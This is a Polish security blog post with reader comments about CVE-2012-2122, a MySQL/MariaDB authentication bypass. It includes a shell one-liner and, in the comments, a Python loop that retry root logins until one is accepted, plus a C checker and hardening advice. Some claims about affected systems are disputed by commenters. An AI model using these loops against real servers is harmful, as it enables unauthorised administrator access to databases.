14:35
11/6/2012

Sergei Golubchik opublikował przedwczoraj informację o poważnym błędzie bezpieczeństwa w serwerach MySQL oraz MariaDB. Okazuje się, że 1 na 256 jakichkolwiek haseł przekazanych MySQL-owi może zostać zaakceptowane przez bazę. Efekt? Stajesz się jej administratorem, mimo, że nie znasz poprawnego hasła.

CVE-2012-2122

Oto skrypt, który jeśli zostanie wykonany na serwerze z MySQL podatnym na atak, sprawi, że zostaniesz zalogowany jako root:

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

Błąd wynika z wartości zwracanych przez funkcję memcmp(), która — jak błędnie zakłada MySQL — zwraca wartości z przedziału -128 .. 127. Otóż okazuje się, że na niektórych platformach przy pewnych flagach optymalizujących, funkcja memcmp() zwraca wartości spoza tego przedziału. Głównie zdarza się to kiedy GCC używa optymalizacji SSE.

MySQL

MySQL

Oto kod programu, który po odpaleniu poinformuje Cię, czy twój MySQL jest podatny na powyższy atak:

/*
* CVE-2012-2122 checker
*
* You may get differing results with/without -m32
*
* Joshua J. Drake
*/

#include <stdio.h>
#include <stdlib.h>

int main(void) {
int one, two, ret;
time_t start = time(0);
time_t now;

srand(getpid()*start);
while (1) {
one = rand();
two = rand();
ret = memcmp(&one, &two, sizeof(int));
if (ret < -128 || ret > 127)
break;
time(&now);
if (now - start > 10) {
printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
return 1;
}
}
printf("Vulnerable! memcmp returned: %d\n", ret);
return 0;
}

MySQL podatne na ataki

Jak na razie potwierdzono, że poniże systemy są podatne na ten błąd:

    Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
    OpenSuSE 12.1 64-bit MySQL 5.5.23-log
    Fedora 16 64-bit
    Arch Linux (unspecified version)

Jak ochronić się przed atakami na MySQL?

Po pierwsze, jest już moduł exploita do metasploita wykorzystujący w/w metodę ataku. Warto więc upewnić się, że nasz MySQL nie jest na ten atak podatny (uruchom program, którego kod wkleiliśm powyżej).

Po drugie, MySQL raczej nie powinien być podbindowany pod publicznie dostępny interface (a jeśli jest to konieczne, zawsze można nałożyć ograniczenia na to kto może się pod bazę podpinać). Dlatego samo tylko podążanie za znaną zasadą najmniejszych przywilejów powinno uratować twój tyłek, nawet jeśli posiadasz wersję MySQL podatną na atak.

Na wszelki wypadek sprawdź plik my.cnf i wartość parametru “bind-address” (w większości przypadków prawidłową wartością będzie 127.0.0.1). Po zmianie pamiętaj, aby zrestartować usługę MySQL-a.

Przeczytaj także:



49 komentarzy

Dodaj komentarz
  1. Ciekawe…

  2. Mam Archa. Co ciekawe, kod powyżej wywala mi, że jestem podatny, ale odpalenie tego linijkowca nie daje mi roota na mysql.
    Mam mysql 64bit ofc.

    • Nie ma czym się ciekawić – po prostu nikt nie weryfikuje informacji przed puszczeniem ich w obieg i tak oto będzie teraz krążyć informacja o tym, że Arch jest podatny, chociaż nie jest.

    • Ten kod nie testuje stricte mysql, a jedynie wartosci zwracane przez memcmp() ktore powodowaly ten blad. Tak wiec “podatny system” to taki, ktory oferuje memcmp() przechodzace test, a nie majacy w repo zbugowanego mysql. Sprawdz jeszcze wersje:
      “All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
      vulnerable.
      MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
      MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.”

    • ArchLinux 64-bit, kod zwraca, że 10 sekund i tak dalej. Muszę potem jeszcze sprawdzić z mysql.

  3. Co więcej, problem tyczy się jedynie lokalnego dostępu do bazy. Mechanizmy sieciowe nie są na to podatne .

  4. Ciekawe, mam Ubuntu 12.04 64bit, kod pokazuje ze jestem podatny, niestety mysql nie poddaje się. Próby wykonywałem wielokrotnie na różnych maszynach i nic.

  5. A czy 32-bit jest zabezpieczone przed tym atakiem?

  6. “Arch Linux (unspecified version)”
    No trudno żeby specified, skoro to rolling-release.

  7. Sprawdziłem kilka maszyn typ programikiem i wszystkie podatne ale na żadnej skrypt nie daje “pożądanych” rezultatów.

    • spróbuj metasploitem, mnie poszlo

  8. Mam dokładnie tak samo jak kolega wyżej niby jest podatność, ale podatności ni ma… No chyba, że w tym skrypcie czegoś braknie ?

  9. To samo na Debianie squeeze. Kod pokazuje w C pokazuje podatność, natomiast skrypcik nawet jak mu dam pętle do 10000 to nie daje rady się wbić.

  10. na lionie kod pokazuje vulnerability, ale nie idzie sie dostac do mysqla przy pomocy skryptu

  11. ten skrypt do sprawdzania podatnosci z tym do rootowania mysqla ma sie nijak. to poprostu nie ma prawa dzialac. bez paniki.

    • odsiewamy, odsiewamy ;)

    • dokładnie, należy zmeniać (np. losowo) hasło, a nie cały czas to samo podawać

    • sprawdziłem powyższym skryptem z losowaniem hasła i się udało po chwili an Ubuntu 12.04 64-bit

  12. 1. Nie traficzny błąd w MySQL tylko w GCC z sse-optimized
    2. SSE nie SEE
    3. Zdarza się TYLKO z GCC sse-optimized “Głównie zdarza się to kiedy GCC używa optymalizacji SEE.”
    4. Szybki włam:

    #!/usr/bin/python
    import subprocess

    while 1:
    subprocess.Popen(“mysql -u root mysql –password=blah”, shell=True).wait()

  13. Debian x84_64: mysql Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64)
    Wywala mi memcmp spoza przedziału, więc jest podatny, ale pętla się nie wbija.

  14. hmm, moj system jest na liscie (fedora 16, 64 bit, aktualizuje na bieżąco) ale wlamac mi się nie udało :)

  15. Debian <3 ufff czysto ;)

  16. A nie -128…127?

  17. Wypadało by wspomnieć, że:
    All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
    vulnerable.
    MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
    MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

  18. Hmmm Na stronie sergieja: _MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not._ Zaktualizowałem mysql do 5.5.24 – rozumie że ten program w C sprawdza tylko wartości zwracane przez memcmp i pomimo tego że wypluwa “vulnerable” sam serwer na ten atak juz nie jest podatny?

  19. bo ten skrypt chyba nie do końca robi to co ma robić:) swoją drogą memcmp zwraca zawsze z zakresu -255 do 255(zwraca różnicę wartości między pierwszym a drugim ciągiem, dla pierwszego różniącego się bajtu (memcmp(0,255)=-255, memcmp(255,0)=255)) więc każdy system zgodny z POSIX powinien być “podatny”.

    • O tym właśnie jest ten post!
      Zakładanie, że tam memcmp po chłopsku odejmuje znaki jest nadinterpretacją.

      Linux:
      > The memcmp() function returns an integer less than, equal to,
      > or greater than zero if the first n bytes of s1 is found,
      > respectively, to be less than, to match, or be greater than the
      > first n bytes of s2.
      > [man memcmp on recent linux]

      Solaris:
      > The memcmp() function returns an integer less than, equal to,
      > or greater than zero if the > first n bytes of s1 is found,
      > respectively, to be less than, to match, or be greater than
      > the first n bytes > of s2.
      > [man memcmp on openindiana]

      Tylko BSD coś tam – notabene niepotrzebnie – pisze o odejmowaniu znaków potraktowanych jak liczby:

      > The memcmp() function returns zero if the two strings are identical,
      > otherwise returns the difference between the first two differing bytes(…)
      > (http://www.rootr.net/man/man/memcmp/3, man na FreeBSD 9 )

      Innymi słowy, BSD jest zgodne ze standardami ale zamyka sobie możliwość optymalizacji implementacji np. za pomocą tricków z SSE.

    • Zgadzam się z kolegą co do sensu testowania podatności za pomocą powyższego kodu.
      Pomijając to,że warunek podatności zależny od wartości zwróconej w czasie t<10, który świadczy o wyobraźni (i poziomie wiedzy) autora, to memcmp() zwraca wartości z zakresu odkąd typ char określa jednobajtową liczbę całkowitą, czyli od zawsze (w sensie odkąd pamiętam :) Dla niedowiarków kawałek kodu memcmp():

      if (*p1++ != *p2++) return (*–p1 – *–p2); //gdzie p1 i p2 to unsigned char (0-255).

      Problem mysql’a to min. błędne założenie, że zwracana wartość przez (int)memcmp() będzie zawierała się w zakresie char (signed/unsigned). Wynika to z:

      typedef char my_bool; //<- tu zakładamy, że będziemy zwracać char
      my_bool check_scramble(…) {

      return (memcmp(…)); //<- a tu zwracamy int
      }
      I niby to samo w sobie tylko estetykę kodu psuje (no nie do końca ale to już pomińmy). Jednak po zastosowaniu optymalizacji SSE dla glibc, memcmp() "porównuje" nie po jednym bajcie a po cztery naraz. Zwracana wartość jest wynikiem odejmowania (czterobajtowych) wektorów, np: 0x80101000. Gdy taka wartość przekazana jest do zmiennej typu char (jeden bajt) to wyniku różnicy rozmiarów zachowany jest ostatni bajt, czyli 0x00. I tyle :)

      Jeśli coś pokręciłem to proszę o korektę.
      Pozdrawiam.

    • mala poprawka.
      zamiast: “z zakresu odkąd”
      powinno być “z zakresu -255,255 odkąd”.

  20. Skoro wersja mysql-a sprzed miesiąca jest nie podatna to znaczy ze załatali ten błąd wiec nie ma co panikować. W mysql-u jest !!DUUUUZO!! więcej krytycznych błędów w starych wersjach, tylko że w changelogach piszą tylko “security fix” i nic wiecej zeby nie straszyć.

  21. Odpaliłem ten skrypt na Windows 7 Pro. x64
    Za pierwszym razem Windows się powiesił… dopiero przy drugiej próbie wywaliło, że wszystko OK :)

    • po co linkujesz cos co jest podlinkowane w poscie ?

    • ohhh, my bad! :/

  22. na Windows memcmp z VisualS10 zwraca 1, 0 lub -1 – wysilili się chłopaki:)

  23. Potwierdzam, na aktualnym Arch Linux 64bit oraz 32bit mysql nie udało mi się zalogować na żadne konto korzystając z tej “podatności”. Podany tutaj program zwraca “oczekiwane” wyniki:

    Vulnerable! memcmp returned: -175

    Natomiast próba logowania z *losowym* hasłem na dowolne konto kończy się niepowodzeniem zarówno w przypadku prostego skryptu powłoki jak i…

    [-] 777.777.777.777:3306 Unable to bypass authentication, this target may not be vulnerable

    @Piotr Konieczny: skąd więc informacja że Arch jest podatny? Sprawdzaliście? A może o czymś jeszcze nie wiemy? ;)

  24. “Warto więc upewnić się, że nasz MySQL nie jest na ten atak podatny (uruchom program, którego kod wkleiliśm powyżej).”

    Co znaczy uruchom kod C?
    Najpierw trzeba skompilować i to odpowiednio. Czyli np.:
    $ gcc test.c -o test
    jest podatne na błąd ale już:
    $ gcc -march=native -O3 -pipe -fomit-frame-pointer -funroll-loops test.c -o test
    podatne nie jest.

    • Troche spóźniony komentarz, ale to faktycznie jest bardzo ciekawe:
      Debian Squeeze 64:
      Linux {xxx} 2.6.32-5-amd64 #1 SMP Mon Sep 23 22:14:43 UTC 2013 x86_64 GNU/Linux
      shellscript oczywiscie nie dziala bo haslo jest takie same w kazdej petli
      teraz program skompilowany nastepujaco: gcc -lc -o sqltest sqltest.c
      daje rezultat: Vulnerable! memcmp returned: -132
      a skompilowany z kazdym innym zestawem parametrow z optymalizacja kodu (-O3) twierdzi że nie jest podatny na atak. tomi, zbigg, d3cker – dzieki za wyjaśnienia

  25. mysql-5.5.21-2
    Linux 3.0.8-grsec #8 SMP Fri Nov 18 11:34:07 CET 2011 i686 Intel(R)_Celeron(TM)_CPU 1300MHz PLD Linux
    gcc version 4.6.3 20120315 (release) (PLD-Linux)

    Żadna z metod się nie powiodła

  26. megiteam.pl , mariadb 5.1.47, debian 64

    Not triggered in 10 seconds, *probably* not vulnerable…

  27. U mnie mysql 5.1.47 niepodatny, 5.5.21 podatny, 5.0.51 bezpieczny. Choć tak naprawdę to bardziej kwestia środowiska i kompilatora niż samego mysql…

  28. OpenBSD 5.1:

    Vulnerable! memcmp returned: 187

    D’Oh!

    • OpenBSD FAQ:
      “The packages and ports collection does NOT go through the same thorough security audit that is performed on the OpenBSD base system. Although we strive to keep the quality of the packages collection high, we just do not have enough human resources to ensure the same level of robustness and security.”

    • Żaden system z rodziny *BSD nie jest podatny

  29. a mnie uczyli, że break; jest zły, i nie wolno go używać :P

  30. Błąd jest możliwy do wykorzystania także zdalnie, nie tylko via localhost. Oczywiście w tabeli “user” musisz mieć możliwość logowania na danego użytkownika ze zdalnych hostów.

  31. […] związku z krążącymi informacjami o „tragicznie komicznej”, ale poważnej podatności CVE-2012-2122 w MySQL i MariaDB […]

  32. […] kolejny tragikomiczny błąd na miarę opisywanego przez nas wczoraj 0day’a na roota w MySQL. Otóż okazuje się, że bez specjalnego wysiłku można dostać roota w kolejnym ważnym […]

  33. […] Sergeia Golubchika za 0day’a na MySQL […]

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: